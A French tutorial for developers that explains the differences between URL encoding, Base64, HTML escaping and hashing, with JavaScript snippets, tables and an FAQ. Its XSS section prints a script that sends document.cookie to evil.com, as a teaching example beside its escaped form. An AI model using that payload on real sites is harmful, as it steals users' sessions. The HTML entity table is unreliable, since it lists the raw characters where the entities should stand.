Les ingénieurs logiciels transforment continuellement des données : formater des paramètres de requête HTTP, intégrer des fichiers binaires dans du JSON, assainir les entrées utilisateur contre les injections ou dériver des empreintes pour des mots de passe.

Il existe pourtant une confusion récurrente entre encodage, échappement et hachage. Les confondre est l’une des causes majeures de failles critiques comme les attaques Cross-Site Scripting (XSS), les injections SQL ou les défauts d’authentification.

Points essentiels

Encodage (Réversible) : Modifie le format de représentation des données pour un transfert sûr sans perte d’information (ex. Base64, encodage URL).

Échappement (Spécifique au contexte) : Indique à l’analyseur syntaxique de traiter les caractères réservés comme du texte brut et non comme du code exécutable (ex. entités HTML).

Hachage (Unidirectionnel) : Algorithme mathématique transformant des données quelconques en une empreinte de taille fixe, impossible à inverser (ex. SHA-256).

Ne confondez jamais encodage et sécurité : Base64 est un simple encodage, pas un chiffrement ; n’importe qui peut le décoder sans clé secrète.

1. Encodage URL par pourcentage (Percent-Encoding)

D’après la norme RFC 3986, les URI sont restreints à un ensemble limité de caractères US-ASCII. Tout caractère situé en dehors des caractères non réservés (A-Z, a-z, 0-9, -, _, ., ~) doit être représenté sous forme de triplet %XX, où XX est la valeur hexadécimale de l’octet.

Différence : `encodeURI` vs `encodeURIComponent`

En JavaScript, choisir la mauvaise méthode entraîne des anomalies de routage :

Propriété	`encodeURI`	`encodeURIComponent`
Usage prévu	URL complète incluant schéma, domaine et chemin	Clé ou valeur isolée de chaîne de requête
Échappe `: / ? # & = +`	Non (conserve les délimiteurs d’URL)	Oui (les convertit en `%XX`)
Exemple type	`encodeURI('https://site.com/search?q=a+b')`	`encodeURIComponent('recherche & cie')`

// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

Pour manipuler vos paramètres d’API en toute simplicité, utilisez notre URL Encoder & Decoder.

2. Encodage Base64 : données binaires en flux ASCII

Défini par la RFC 4648, Base64 convertit des flux binaires bruts en 64 caractères ASCII imprimables : A–Z, a–z, 0–9, + et / (avec = pour le remplissage).

Principe mathématique

Les octets sont traités par blocs de 24 bits (3 octets), divisés en 4 segments de 6 bits chacun ($2^6 = 64$ valeurs possibles).

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

Puisque 4 caractères sont générés pour chaque groupe de 3 octets, Base64 introduit une surcharge mécanique de 33% en volume de stockage et de transfert :

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

Base64 est idéal pour insérer des visuels légers dans des Data URI ou véhiculer des signatures. Essayez notre Base64 Encoder / Decoder.

3. Échappement d’entités HTML : protection contre le XSS

L’échappement HTML substitue aux caractères réservés du langage leurs références d’entités équivalentes :

Caractère	Rôle dans la syntaxe HTML	Entité de remplacement
`<`	Ouverture de balise	`<`
`>`	Fermeture de balise	`>`
`&`	Début de référence d’entité	`&`
`"`	Délimiteur d’attribut	`"`
`'`	Délimiteur d’attribut	`'`

Sans échappement, injecter des chaînes non validées dans un document expose à des failles Cross-Site Scripting (XSS) :

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

Contrôlez vos sorties textuelles avec notre HTML Entity Encoder / Decoder.

4. Hachage cryptographique : l’empreinte à sens unique

Contrairement à l’encodage, le hachage est irréversible. Une fonction de hachage robuste satisfait quatre propriétés :

Résistance à la préimage : Étant donné $h$, il est calculatoirement impossible de retrouver $m$ tel que $H(m) = h$.
Résistance à la seconde préimage : Étant donné $m_1$, il est impossible de trouver $m_2$ tel que $H(m_1) = H(m_2)$.
Résistance aux collisions : Il est impossible d’identifier deux entrées distinctes $x \neq y$ donnant $H(x) = H(y)$.
Effet d’avalanche : La moindre modification d’un seul bit en entrée bouleverse intégralement l’empreinte produite.

Synthèse des algorithmes courants

Algorithme	Taille d’empreinte	Sécurité contre les collisions	Statut en production
MD5	128 bits (32 hex)	Rompu (collisions en quelques secondes)	Contrôle d’intégrité non sécurisé uniquement
SHA-1	160 bits (40 hex)	Rompu (attaque SHAttered en 2017)	Déprécié ; migrer vers SHA-256
SHA-256	256 bits (64 hex)	Cryptographiquement sûr	Référence pour certificats TLS, Git et API
SHA-512	512 bits (128 hex)	Cryptographiquement sûr	Haute sécurité et signatures HMAC

Créez des identifiants et des mots de passe fiables avec notre UUID Generator et notre Password Generator.

Quelle technique privilégier ?

Pour passer des données dans un paramètre d’URL : Utilisez l’encodage pourcent (URL encoding).
Pour intégrer un contenu binaire dans du JSON : Choisissez Base64.
Pour afficher du contenu utilisateur sur une page : Appliquez l’échappement HTML.
Pour valider l’intégrité de fichiers : Utilisez le hachage cryptographique.

Foire aux questions

Le format Base64 peut-il être déchiffré ? Base64 n’est pas chiffré, il est simplement encodé. Tout outil standard peut reconstituer les octets originaux sans clé secrète.

SHA-256 est-il suffisant pour stocker des mots de passe ? Non. Les GPU modernes calculent des milliards de hachages SHA-256 par seconde. Les mots de passe exigent des fonctions de dérivation coûteuses en mémoire comme Argon2id ou bcrypt.

Pourquoi l’espace est-il parfois encodé en %20 et parfois en + ? Dans les chemins RFC 3986, l’espace s’encode en %20. Dans les chaînes de formulaires historiques application/x-www-form-urlencoded, l’espace était transcrit en +.